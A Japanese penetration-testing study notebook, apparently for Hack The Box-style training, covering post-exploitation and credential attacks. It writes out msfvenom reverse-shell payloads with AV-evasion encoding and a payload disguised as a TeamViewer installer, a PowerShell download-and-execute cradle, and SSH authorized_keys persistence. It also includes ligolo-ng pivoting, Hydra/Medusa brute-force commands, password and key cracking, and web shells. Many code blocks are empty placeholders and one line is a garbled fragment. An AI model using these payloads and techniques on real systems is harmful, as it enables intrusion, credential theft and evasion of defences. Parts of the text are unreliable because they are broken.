   4  x64/zutto_dekiru                   manual  No     Zutto Dekiru

MSFVenom

msfvenom -l payloads

Descriptionに書いてあるstagedとstagelessの違い

Windowsの代表的なペイロード

ペイロード 説明
generic/custom 汎用リスナー、マルチユース
generic/shell_bind_tcp 汎用リスナー、マルチユース、通常のシェル、TCP接続のバインド
generic/shell_reverse_tcp 汎用リスナー、マルチユース、通常のシェル、リバースTCP接続
windows/x64/exec 任意のコマンドを実行 (Windows x64)
windows/x64/loadlibrary 任意のx64ライブラリパスをロード
windows/x64/messagebox MessageBoxを使用して、タイトル、テキスト、アイコンをカスタマイズ可能なダイアログを生成
windows/x64/shell_reverse_tcp 通常のシェル、単一ペイロード、リバースTCP接続
windows/x64/shell/reverse_tcp 通常のシェル、ステージャー+ステージ、リバースTCP接続
windows/x64/shell/bind_ipv6_tcp 通常のシェル、ステージャー+ステージ、IPv6 Bind TCPステージャー
windows/x64/meterpreter/$ Meterpreterペイロード+上記の各種バリエーション
windows/x64/powershell/$ 対話型PowerShellセッション+上記の各種バリエーション
windows/x64/vncinject/$ VNCサーバー(反射型インジェクション)+上記の各種バリエーション

ペイロードの作成

エンコードなし

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
オプション/要素 役割・説明
-p linux/x64/shell_reverse_tcp ペイロードの指定 : Linux 64ビット向けの“reverse TCP shell”を生成。実行すると、攻撃者側に逆接続してシェルを提供する。
LHOST=10.10.14.113 攻撃者のIPアドレス: ペイロードが確立しようとする攻撃者(こちら側)のIPアドレス。
LPORT=443 攻撃者のポート番号: ペイロードが接続を試みるポート番号。ここでは443を使用。
-f elf 出力ファイル形式の指定 : 生成するファイルをLinux向けのELF形式にする。
> createbackup.elf 標準出力のリダイレクト : 作成されたバイナリをcreatebackup.elfとして保存する。

エンコード

エンコーダの役割

Shikata Ga Nai (SGN) について

shikata_ga_naiでエンコード

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
オプション 説明
-a x86 アーキテクチャを x86 に指定
--platform windows プラットフォームを Windows に指定
-p windows/shell/reverse_tcp ペイロードとして Windows のシェル(リバースTCP接続)を選択
LHOST=127.0.0.1 攻撃者側(リスナー)のIPアドレスを 127.0.0.1 に設定
LPORT=4444 攻撃者側(リスナー)のポート番号を 4444 に設定
-b "\x00" ペイロードから除外するバッドキャラクターとして NULL を指定
-f perl 出力形式を Perl スクリプト形式に指定
-e x86/shikata_ga_nai エンコーダーとして x86/shikata_ga_nai を使用(エンコード処理)

エンコードなし

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl

AVの回避

最近のAVでは、それぞれのエンコードを一回行っても全然検知されてしまう

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
msf-virustotal -k <API key> -f TeamViewerInstall.exe

実行手順の流れ

  1. 攻撃者が msfvenom コマンドでペイロードを生成(createbackup.elf
  2. 攻撃者側がリスナーを開いて待ち受けておく
  3. ターゲットにいずれかの方法でダウンロードさせる
Linux・Windows共通
Windows
  1. ターゲットで createbackup.elf を実行(適宜権限を付与し実行)
  2. 実行されたプログラムが LHOST : LPORT へ接続
  3. ncで待ち受けていた攻撃者側がシェルを取得できる

Windowsファイル形式

ペイロードの時、どのファイルを選んだらいいの?

CMDとPSどっちのターミナル言語使えばいいの?

CMD を使用する場合

PowerShell を使用する場合

侵入口としてのWSL

ファイアーウォールとIDS/IPS回避

DatabaseMsfconsoleについて

Pluginについて

なんか今のところあんまり使いたい意欲ないから、使いたくなったら、ここに詳しく書いてあるよ

セッション管理

background
sessions -l
sessions -i <セッション番号>
sessions -K

特権昇格の発見とエクスプロイト

Mesterpreterでユーザー権限でセッションが確立している時、ターゲットシステムに適した特権昇格エクスプロイトを提案させることができる

use post/multi/recon/local_exploit_suggester
set SESSION <セッション番号>
run

シェルアップデート

vim
:set shell=/bin/sh
:shell
sudo apt update
sudo apt install rlwrap
rlwrap nc -lvnp <ポート番号>  # リスナー側 (攻撃者マシン)

横展開

Linux

リバースシェルで、ログインした時、最初は、「www-data」であることがある。
その時、www-dataのパスワードがわからないので横展開が必要

ディレクトリトラバーサル

ピポット・トンネリング・ポートフォワーディング

Pivoting・Tunneling ・Port Forwarding

権限昇格

sudo -l

権限昇格で使えるチェックリスト

自動列挙ツール

これらのスクリプトの出力で、探すべき脆弱性

スケジュールされたタスク

SSHキー

ユーザー/.ssh/ディレクトリへの書き込みアクセス権がある場合

#攻撃者PC
ssh-keygen -f key
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys
snowyowl644@htb[/htb]$ ssh root@10.10.10.10 -i key

root@remotehost# 

LOLBANS

Living Off the Landで使うための辞書的存在

LOLBANSについてまとめているサイト

その他、使えるコマンド

Windows

Powershell上で実行

基本的な列挙

コマンド 結果
hostname PCの名前を表示する
[System.Environment]::OSVersion.Version OSのバージョンとリビジョンレベルを表示する
wmic qfe get Caption,Description,HotFixID,InstalledOn ホストに適用されているパッチやホットフィックスの一覧を表示する
ipconfig /all ネットワークアダプターの状態と構成を表示する
set 現在のセッションでの環境変数一覧を表示する(CMDプロンプトから実行)
echo %USERDOMAIN% ホストが所属しているドメイン名を表示する(CMDプロンプトから実行)
echo %logonserver% ホストがチェックインしているドメインコントローラーの名前を表示する(CMDプロンプトから実行)
systeminfo 上のコマンド達の結果をこのコマンドで表示できる
Get-Module 使用可能な(ロードされている)モジュールの一覧を表示
Get-ExecutionPolicy -List ホスト上の各スコープごとの実行ポリシー設定を表示
Set-ExecutionPolicy Bypass -Scope Process -Scope パラメータを使用して、現在のプロセスだけに実行ポリシーを一時的に変更する。このプロセスを終了すると元に戻るため、ホストに恒久的な変更を加えずに済む
Get-ChildItem Env:| ft Key,Value 環境変数(キーと値のペア)を一覧表示し、パス、ユーザー名、コンピュータ情報などを取得
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt 特定ユーザーのPowerShellコマンド履歴を取得します。この履歴にはパスワードや、パスワードが含まれる設定ファイル/スクリプトの手がかりがある場合もあるため、有用です。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('ダウンロード元のURL'); <続くコマンド>" Web上からファイルをダウンロードして、メモリ上で実行するためのシンプルかつ迅速な方法です。

運用上のセキュリティ戦術

Powershellのダウングレード

powershell.exe -version 2

本当にダウングレードできているのか

本当にログが記録されていないか

防御機構の確認

Windowsファイアーウォールの設定状態や、稼働状況を確認する

ファイアーウォールの確認

PS C:\htb> netsh advfirewall show allprofiles

Windows Defenderの確認
cmd.exeで実行

C:\htb> sc query windefend

Defender の詳細なステータスや構成設定を確認する

PS C:\htb> Get-MpComputerStatus

自分以外に誰かログインしていないか

PS C:\htb> qwinsta

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
>console           forend                    1  Active
 rdp-tcp                                 65536  Listen

STATEの見方

STATE 意味 誰かログインしてる? 補足
Active セッションがアクティブ(操作中) ✅ はい ユーザーが現在ログイン&使ってる状態
Disc(Disconnected) セッションが切断された(ログイン中だが未使用) ✅ はい RDP切断後とか。まだメモリ上にセッションはある
Listen セッション待機中(接続待ち状態 ❌ いいえ 誰もログインしてないが、RDP接続を待っている状態
Idle 放置状態(Activeのまま時間が経過) ✅ はい 実際はActiveと同じ扱いになることもある
類似コマンド
query user

ネットワーク情報

これらのコマンドは、ブラックボックス型の探索フェーズで役にたつ
パッシブな情報収集手段として非常に有効
AD環境の列挙に役立つだけでなく、他のネットワークセグメントへのピボット(横展開)機会を見つける助けにもなる

ネットワーク系コマンド 説明
arp -a ARPテーブルに記録されている既知のホスト一覧を表示
ipconfig /all ホストのネットワークアダプタ設定を出力する。ネットワークセグメントを把握できる
route print ルーティングテーブル(IPv4 & IPv6)を表示する。ホストが認識しているネットワークやレイヤー3のルート情報が確認できる
netsh advfirewall show allprofiles ホストのファイアウォールの状態を表示する。アクティブかどうか、トラフィックをフィルタリングしているかなどを確認できる

WMI

コマンド 説明
wmic qfe get Caption,Description,HotFixID,Installed ホストに適用されているパッチやホットフィックスの概要と適用日時を表示する
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:L ホストに関する基本情報(ホスト名、ドメイン、製造元、モデル、ユーザー名、役割など)を表示する
wmic process list /format: ホスト上で実行中のすべてのプロセスの一覧を表示する
wmic ntdomain list /format ドメインおよびドメインコントローラーに関する情報を表示する
wmic useraccount list /forma ホスト上のすべてのローカルアカウント、ならびに過去にログインしたドメインアカウントに関する情報を表示する
wmic group list /form すべてのローカルグループに関する情報を表示する
wmic sysaccount list /for サービスアカウントとして使用されているシステムアカウントに関する情報を出力する
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress 現在のドメインが信頼関係を持つドメインや子ドメイン、外部フォレストに関する情報を取得

ドメインからの列挙

コマンド 説明
net accounts パスワードの要件に関する情報
net accounts /domain パスワードとアカウントロックアウトのポリシー
net group /domain ドメイングループに関する情報
net group "Domain Admins" /domain ドメイン管理者権限を持つユーザーの一覧
net group "domain computers" /domain ドメインに参加しているPCの一覧
net group "Domain Controllers" /domain ドメインコントローラーのPCアカウント一覧
net group <グループ名> /domain 指定したグループに所属しているユーザー
net groups /domain ドメイングループの一覧
net localgroup 使用可能なローカルグループの一覧
net localgroup administrators /domain ドメイン内の管理者グループに所属するユーザー一覧(※通常 “Domain Admins” も含まれる)
net localgroup Administrators ローカル「Administrators」グループの情報
net localgroup administrators [ユーザー名] /add 指定ユーザーを Administrators グループに追加
net share 現在の共有フォルダの確認
net user <アカウント名> /domain ドメイン内の特定ユーザーの情報取得
net user /domain ドメイン内のすべてのユーザーを一覧表示
net user /domain <ユーザーネーム> ドメイン内のユーザーの詳細情報を表示する
net user %username% 現在ログインしているユーザーの情報
net use x: \コンピュータ名\共有名 指定された共有をローカルにマウント
net view コンピュータの一覧取得
net view /all /domain[:ドメイン名] ドメイン内のすべての共有リソース一覧
net view \コンピュータ名 /ALL 指定したコンピュータの共有リソース一覧
net view /domain ドメイン内のPC一覧
Dsquery

ユーザー検索

PS C:\htb> dsquery user

ホストの検索

PS C:\htb> dsquery computer

ワイルドカードを使った検索

PS C:\htb> dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

LDAP検索フィルターと組み合わせて、より詳細で条件を絞った検索を行うことができる
userAccountControl 属性に PASSWD_NOTREQD(パスワード不要)フラグが設定されたユーザーを検索するコマンド

PS C:\htb> dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

  distinguishedName                                                                              userAccountControl
  CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                                    66082
  CN=Marion Lowe,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL      66080
  CN=Yolanda Groce,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL    66080
  CN=Eileen Hamilton,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL    66080
  CN=Jessica Ramsey,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                           546
  CN=NAGIOSAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL                           544
  CN=LOGISTICS$,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                               2080
  CN=FREIGHTLOGISTIC$,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                         2080

上のコマンドの詳細

さらに確認すべきポイント

dsquery * -filter "(&(objectCategory=person)(cn=Yolanda Groce))" -attr sAMAccountName

得られたログオン名(yolandag)を使って、以下のように net user で詳細情報を確認する

net user yolandag /domain

LDAP OIDマッチングルール一覧

OID値 名前(非公式) 意味・用途 使用例・特徴
1.2.840.113556.1.4.803 Bitwise AND 完全一致 指定したビット値に完全一致する属性のみを検索 単一のUAC属性にマッチさせたいときに使う(例:PASSWD_NOTREQDが設定されている)
1.2.840.113556.1.4.804 Bitwise OR 部分一致 ビット値のいずれかが一致すれば対象に含める 複数の属性が混在しているオブジェクトを柔軟に検索できる
1.2.840.113556.1.4.1941 DNツリー探索 オブジェクトの所有関係やグループメンバーシップなどを辿って検索 ネストされたグループメンバーなどを再帰的に検索するときに便利

Linux


その他

フラグの検索

Linux

find / -type f -iname "user.txt" 2>/dev/null
find / -type f -iname "root.txt" 2>/dev/null

grepを使用して特定の文字列を含むファイルを検索

grep -ri "user" / 2>/dev/null
grep -ri "root" / 2>/dev/null

クレデンシャルファイルの検索

find /mnt/Finance/ -name *cred*
grep -rn /mnt/Finance/ -ie cred

Windows

Cドライブ全体を検索する場合

dir C:\flag.txt /s
dir -Recurse -Filter flag.txt 2>$null
Get-ChildItem -Recurse -Path N:\ -Include *cred* -File

ligolo-ng

1. 必要なリソースのダウンロード

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_proxy_0.8_linux_amd64.tar.gz
tar -xzf ligolo-ng_proxy_0.8_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_agent_0.8_linux_amd64.tar.gz
tar -xzf ligolo-ng_agent_0.8_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_agent_0.8_windows_amd64.zip
unzip ligolo-ng_agent_0.8_windows_amd64.zip
python -m http.server 8081

2. 攻撃者サーバー での設定

sudo ./proxy -selfcert

仮想NICの作成

interface_create --name ligolo0

3.ターゲット側の設定

Linux

ダウンロード

wget http://10.10.14.4:8081/agent

実行

./agent -connect <C2サーバーのIPまたはドメイン>:11601 -ignore-cert

Windows

powershell .\agent.exe -connect <攻撃者サーバーのIPアドレス>:11601 -ignore-cert

4.攻撃者側での設定

session
tunnel_start --tun ligolo0
ifconfig

別のターミナルで

sudo ip route add <ターゲットの内部ネットワークCIDR(例 :  172.16.1.0/24)> dev ligolo0

5. 内部ネットワークの調査

ここから、内部ネットワークの攻撃は、内部ネットワークのIPになる
例えば、攻撃者側でssh入って、ifconfigしたときのipアドレスで、攻撃者側からnmapとかpingができるっていう話

nmap -sT <内部ネットワーク内のIPアドレス 例: 172.16.1.1>
nmap -PE -sn <ターゲットの内部ネットワークCIDR>

内部ファイルの持ち出し

File Transfer

内部ファイルの暗号化

File Encryption

Windowsローカルパスワード攻撃

Windows Local Password Attack

ActiveDirectory

Pentest_Technique/Active Directory jane.txt | grep '[A-Z]' | grep '[a-z]' | grep '[0-9]' | grep -E '([!@#$%^&].){2,}' > jane_filtered.txt


- Hydraなどのブルートフォースツールと組み合わせて使う
{{CODE_BLOCK_139}}

- まとめ
	- CUPPは「精度重視」の攻撃をしたいときに効果的
	- SNSや公開情報をうまく使って情報を集めるのがカギ
	- ワードリスト作成を自動化できるので、初心者でも扱いやすい
	- 
## 辞書拡張
{{CODE_BLOCK_140}}

{{CODE_BLOCK_141}}


## ブルートフォースの実行
#### crackmapexec
{{CODE_BLOCK_142}}
protoには、サービス名を指定する
winrmをブルートフォース
{{CODE_BLOCK_143}}

#### hydra
また、単一のユーザー名・パスワードの場合は小文字の-l、-pを使う
{{CODE_BLOCK_144}}

hydraオプションの基本
{{CODE_BLOCK_145}}

|                    |                                                                |                                                                                             |
| ------------------ | -------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| `l LOGIN``-L FILE` | ログインオプション:単一のユーザー名(`-l`)またはユーザー名のリスト(`-L`)を含むファイルを指定します。       | `hydra -l admin ...``hydra -L usernames.txt ...`                                            |
| `-p PASS``-P FILE` | パスワードオプション:単一のパスワード(`-p`)またはパスワードのリストを含むファイル(`-P`)のいずれかを提供します。 | `hydra -p password123 ...``hydra -P passwords.txt ...`                                      |
| `-t TASKS`         | タスク:実行する並列タスク(スレッド)の数を定義し、攻撃を高速化する可能性があります。                    | `hydra -t 4 ...`                                                                            |
| `-f`               | ファストモード:最初のログインが見つかったら、攻撃を停止します。                               | `hydra -f ...`                                                                              |
| `-s PORT`          | ポート:ターゲットサービスにデフォルト以外のポートを指定します。                               | `hydra -s 2222 ...`                                                                         |
| `-v``-V`           | 詳細な出力:試行と結果を含む、攻撃の進行状況に関する詳細情報を表示します。                          | `hydra -v ...`または`hydra -V ...`(さらに冗長性のために)                                                 |
| `service://server` | ターゲット:サービス(例:`ssh`、`http`、`ftp`)とターゲットサーバーのアドレスまたはホスト名を指定します。  | `hydra ssh://192.168.1.100`                                                                 |
| `/OPT`             | サービス固有のオプション:対象サービスに必要な追加オプションを提供します。                          | `hydra http-get://example.com/login.php -m "POST:user=^USER^&pass=^PASS^"`(HTTPフォームベースの認証用) |
|                    |                                                                |                                                                                             |

##### Hydra サービス別コマンド

| **サービス**          | **コマンド例**                                                                                                    |
| ----------------- | ------------------------------------------------------------------------------------------------------------ |
| **FTP**           | hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100                                             |
| **SSH**           | hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100                                              |
| **HTTP-GET/POST** | hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" |
| **SMTP**          | hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com                                          |
| **POP3**          | hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com                               |
| **IMAP**          | hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com                               |
| **MySQL**         | hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100                                            |
| **MSSQL**         | hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100                                              |
| **VNC**           | hydra -P /path/to/password_list.txt vnc://192.168.1.100                                                      |
| **RDP**           | hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100                                             |
辞書を作らなくてもこんな感じでもできる
- 6〜8文字の全パターンを自動生成(英小文字・英大文字・数字)
{{CODE_BLOCK_146}}

- **このコマンドがやってること**
	- `-l administrator` → ログイン名として「administrator」を指定
	- `-x 6:8:...` → 6〜8文字の全パターンを自動生成(英小文字・英大文字・数字)
	- `192.168.1.100` → 攻撃対象のIPアドレス
	- `rdp` → RDPサービスを対象に指定

##### Basic認証に対するブルートフォース
辞書の取得
{{CODE_BLOCK_147}}

ブルートフォースの実行
{{CODE_BLOCK_148}}
- `-l basic-auth-user` → ログイン試行に使うユーザー名を指定
- `-P 2023-200_most_used_passwords.txt` → 使用するパスワードリスト
- `127.0.0.1` → ターゲットのIP(この場合はローカルホスト)
- `http-get /` → HTTPのGETメソッドでルートパス(`/`)を攻撃対象に
- `-s 81` → ポート番号を明示的に指定(通常80だが、ここでは81を使用)


##### カスタムログインフォームへのブルートフォース
- カスタムログインフォームとは?
	- Webサイトが使っている、独自デザインのログイン画面
	- 見た目は違っても、内部的には同じように動作していることが多い

- Hydraで攻撃できる理由
	- Hydraはログインフォームに自動でユーザー名とパスワードを送って試せるツール
	- `http-post-form`というモードを使えば、フォーム送信に特化したブルートフォースが可能

- 攻撃のために必要な情報
	- ログイン先のURLパス(例:`/login` や `/`)
	- 入力項目の名前(例:`username`, `password`)
	- 失敗時に表示されるメッセージ(例:`Invalid credentials`)

- 情報の集め方
	- ブラウザで開いて右クリック →「検証」ツールでHTMLコードを見る
	- 「ネットワーク」タブでPOSTリクエストを確認
	- Burp Suiteなどのプロキシツールでリクエスト内容を詳細に調べる

- Hydraコマンドの基本構文
	- `hydra -L ユーザー名リスト -P パスワードリスト ターゲットIP http-post-form "パス:パラメータ:条件"`

- パラメータの書き方
	- 例:`/:username=^USER^&password=^PASS^:F=Invalid credentials`
		- `username=^USER^` → ユーザー名入力欄
		- `password=^PASS^` → パスワード入力欄

###### 「F=」と「S=」オプション
- F=(Failure Condition)とは?
	- 「この文字列がレスポンスに含まれていたらログイン失敗」と判断するための条件
	- 多くのログインフォームは失敗時に何らかのエラーメッセージを返す
		- 例:`"Invalid credentials"`, `"Incorrect password"`, `"Login failed"` など
	- Hydraはこの文字列を探して、失敗したら次の組み合わせに進む
	- 使用例:
	{{CODE_BLOCK_149}}

- S=(Success Condition)とは?
	- 「この文字列がレスポンスに含まれていたらログイン成功」と判断するための条件
	- 成功時に表示されるキーワードや、リダイレクト(HTTP 302)をチェックするのに使う
		- 例:`"Welcome"`, `"Dashboard"`, `S=302` など
	- S=を使うのは、**失敗メッセージがない** or **成功時のパターンが明確なとき**に便利

	- 使用例(① 成功時に「Dashboard」と表示される):
	{{CODE_BLOCK_150}}

	- 使用例(② 成功時にHTTPステータスコード302でリダイレクト):
	{{CODE_BLOCK_151}}

- F= と S= の使い分け
	- ほとんどのケースでは **F=(失敗条件)だけ指定**すればOK
	- 特定の成功パターンがあるときや、失敗メッセージが見つからないときに S= を使う
	- **両方併用も可能**(例:`F=Login failed:S=Welcome`)

- チェックポイント(初心者向け)
	- Hydraはレスポンスの「内容」や「ステータスコード」を使って判断している
	- 条件に合わないと正しい結果が出ないので、実験前にブラウザやBurpでしっかり調べよう!

- おまけ:テスト時のポイント
	- 間違ったパスワードでログインして、**エラーメッセージを確認**
	- 正しい情報を入力したときの**レスポンスの違い**を見つける(リダイレクトや文字の変化)

辞書の取得
{{CODE_BLOCK_152}}

実行
{{CODE_BLOCK_153}}


## medusa
| **項目**       | **Hydra**                  | **Medusa**                     |
| ------------ | -------------------------- | ------------------------------ |
| 💡 特徴        | 柔軟でシンプルなコマンド構文。対応プロトコルが広い。 | 超高速&並列処理に強い。大量ターゲットの一括スキャンが得意。 |
| 🚀 速度        | 並列処理はあるが、Medusaより若干遅い      | 圧倒的に速い(数千スレッドでも安定)             |
| 🧠 学習コスト     | 初心者向け。わかりやすい構文。            | やや複雑。オプションが多め                  |
| 🛠️ 対応プロトコル  | 50以上対応(Webフォーム、SSH、RDPなど)  | Hydraに近いがやや少なめ(実用的には十分)        |
| 🔁 大量ホスト対応   | スクリプトなどで対応可能               | 複数ホストを一括で簡単に処理できる(-H)          |
| 🌐 Webフォーム対応 | http-post-formで高機能に対応      | web-formモジュールもあるが柔軟性はHydraが上   |
| 📦 標準搭載      | Kali, Parrotなどにプリインストール    | 同じく多くのペンテスト用OSに搭載済み            |
| 🔍 デバッグ・出力   | Verboseログが細かくてわかりやすい       | ログはややシンプル。高速処理に特化              |
{{CODE_BLOCK_154}}

| **パラメータ** | **説明**                              | **使用例**                                                   |
| --------- | ----------------------------------- | --------------------------------------------------------- |
| -h or -H  | 単一のターゲット(-h)またはターゲットのリストファイル(-H)を指定 | medusa -h 192.168.1.10 ... または medusa -H targets.txt ...  |
| -u or -U  | 単一ユーザー名(-u)またはユーザーリストファイル(-U)を指定    | medusa -u admin ... または medusa -U users.txt ...           |
| -p or -P  | 単一パスワード(-p)またはパスワードリストファイル(-P)を指定   | medusa -p password123 ... または medusa -P passwords.txt ... |
| -M        | 攻撃に使うモジュールを指定(例:ssh, ftp)           | medusa -M ssh ...                                         |
| -m        | モジュール専用の追加オプション(ダブルクォートで囲む)         | **HTTPフォーム送信などに使う:**medusa -M http -m "POST /login ..."   |
| -t        | 並列スレッド数(並列で試行できる数)                  | medusa -t 4                                               |
| -f or -F  | 成功時に停止(-f: 現在のホストのみ、-F: すべてのホストで停止) | medusa -f ... または medusa -F ...                           |
| -n        | 非標準ポートを指定(例:2222など)                 | medusa -n 2222                                            |
| -v        | 詳細出力(最大6レベル)                        | medusa -v 4                                               |
#### medusaのサービス別コマンド
| **モジュール名** | **サービス/プロトコル** | **説明**                             | **使用例**                                                                                                                   |
| ---------- | -------------- | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| ftp        | FTP            | ファイル転送用プロトコルのログイン情報をブルートフォース       | medusa -M ftp -h 192.168.1.100 -u admin -P passwords.txt                                                                  |
| http       | HTTP           | Webアプリのフォームログイン(GET/POST)をブルートフォース | medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&password=^PASS^ |
| imap       | IMAP           | メールサーバーのIMAP認証に対して試行               | medusa -M imap -h mail.example.com -U users.txt -P passwords.txt                                                          |
| mysql      | MySQL          | データベース(MySQL)の認証情報を試行              | medusa -M mysql -h 192.168.1.100 -u root -P passwords.txt                                                                 |
| pop3       | POP3           | メール取得プロトコルへのブルートフォース               | medusa -M pop3 -h mail.example.com -U users.txt -P passwords.txt                                                          |
| rdp        | RDP            | Windowsのリモートデスクトップログインをブルートフォース    | medusa -M rdp -h 192.168.1.100 -u admin -P passwords.txt                                                                  |
| ssh        | SSH            | セキュアシェルへの認証を試行(ポピュラー)              |                                                                                                                           |
| svn        | Subversion     | バージョン管理ツールSVNの認証に対して攻撃             | medusa -M svn -h 192.168.1.100 -u admin -P passwords.txt                                                                  |
| telnet     | Telnet         | 古いリモート端末プロトコルへの試行                  | medusa -M telnet -h 192.168.1.100 -u admin -P passwords.txt                                                               |
| vnc        | VNC            | リモートデスクトップ(VNC)へのブルートフォース          | medusa -M vnc -h 192.168.1.100 -P passwords.txt                                                                           |
| web-form   | Webログインフォーム    | HTTP POST を使うログインフォームへの攻撃          | medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"   |
## 有用なファイルの検索
エンコードされたファイルの検索
{{CODE_BLOCK_155}}

SSHキーの検索
{{CODE_BLOCK_156}}

暗号化されたSSHの検索
{{CODE_BLOCK_157}}

SSH の秘密鍵 (SSH.private) を John the Ripper でクラックできる形式 (hash) に変換する
SSH.privateは、id_rsaに置き換えられる
出力を ssh.hash に保存。
{{CODE_BLOCK_158}}

SSHキーのクラック
{{CODE_BLOCK_159}}

## パスワード付きファイルのクラック
- パスワードで保護されたファイルや暗号化されたファイルも解読することもできる
{{CODE_BLOCK_160}}

{{CODE_BLOCK_161}}

また、それぞれのファイルにあったjohnを見つけて使用することもできる
それぞれのツールにあったjohnを検索する
{{CODE_BLOCK_162}}

Microsoft Office ドキュメントのクラッキング
{{CODE_BLOCK_163}}

{{CODE_BLOCK_164}}

PDF のクラッキング
{{CODE_BLOCK_165}}

{{CODE_BLOCK_166}}
**複雑な形式**
1. まず自分の目的に合ったjohnのスクリプトを探して、johnが解析できる.johnの形に変換する
{{CODE_BLOCK_167}}
1. johnでワードリストを指定して解析
{{CODE_BLOCK_168}}


## パスワード付き圧縮ファイルのクラック
zipファイルのクラック
- パスワード付きzipをjohnが解析する形にする
- rockyou.txtで辞書攻撃する
- クラックされたハッシュの表示
{{CODE_BLOCK_169}}

{{CODE_BLOCK_170}}

gzipファイルのクラック
{{CODE_BLOCK_171}}

bitlockerファイルのクラック
{{CODE_BLOCK_172}}

パスワードを解読すると、暗号化されたドライブを開く
BitLocker で暗号化された仮想ドライブをマウントする最も簡単な方法は、それを Windows システムに転送してマウントする

---
# ペイロード
## シェルの設置
### リバースシェル
攻撃者側でポートを開いて待ち受けて、そこにターゲットがアクセスすることでシェルを取得する
- なんか443で待ち受けておくと、ターゲットにファイアーウォールがあったとしてもスルーすることができる
- https://www.revshells.com/
ターゲットがWindowsの場合は、AntiVirus(AV)が働く可能性があるから、その時は、PSを右クリックから管理者権限で起動して、以下のコマンドを打つことで、AVをオフにできるって
{{CODE_BLOCK_173}}


### バインドシェル
ターゲット側でポート開いて待ち受けて、そこに攻撃者がアクセスすることで、シェルを取得する
バインドシェルの方が防御されやすい
- 接続は受信されるため、リスナーの起動時に標準ポートを使用しても、ファイアウォールによって検出およびブロックされる可能性が高くなるから

コマンド
- ターゲット側
{{CODE_BLOCK_174}}
- 攻撃者側
{{CODE_BLOCK_175}}

### Webシェル
- webページ上でのシェル
- 普通に使い勝手悪くね?
- リバースシェルでいいんじゃねとか思っちゃうけど
	- そもそもリバースシェルのコマンドを仕込めない(アップロードしかできない、またはコマンド実行の権限が限定的)
	- 外向き通信(外部への接続)が制限されている
	- Web インターフェース越しに操作できる手段が欲しい(内向き通信しか許可されていないネットワークなど)
- PHPWebshell
	- https://github.com/WhiteWinterWolf/wwwolf-php-webshell
Windows
- Laudanum
	- `asp, aspx, jsp, php,`などを含む多くの異なるwebシェルの一覧がある
	- `/usr/share/laudanum`にある
	- Laudanum内のほとんどのファイルについては、そのままコピーして、被害者の実行に必要な場所に配置できる
	- シェルなどの特定のファイルについては、最初にファイルを編集して`attacking`するホストのIPアドレスを挿入して、Webシェルにアクセスしたり、リバースシェルを使用するインスタンスでコールバックを受信したりする必要がある
	- 59行目に攻撃者のIPも書き加える
- Antak
	- `/usr/share/nishang/Antak-WebShell`にある
	- Powershellコマンドを使えるwebシェル
	- 編集する必要がある
		- 14行目を、ユーザー(緑の矢印)とパスワード(オレンジ色の矢印)を追加する
	- 以下の画像のように付け加える

![](https://i.imgur.com/BVfKA3s.png)

### その他のペイロード生成ツール

|                                   |                                                                                                                                                                                                              |
| --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `MSFVenom & Metasploit-Framework` | [Source](https://github.com/rapid7/metasploit-framework) MSFは、あらゆるペンテスターのツールキットのための非常に汎用性の高いツールです。これは、ホストを列挙し、ペイロードを生成し、パブリックエクスプロイトとカスタムエクスプロイトを利用し、ホストで一度エクスプロイト後のアクションを実行する方法として機能します。スイスアーミーナイフと考えてください。 |
| `Payloads All The Things`         | [ソース](https://github.com/swisskyrepo/PayloadsAllTheThings) ここでは、ペイロード生成と一般的な方法論に関するさまざまなリソースとチートシートを見つけることができます。                                                                                             |
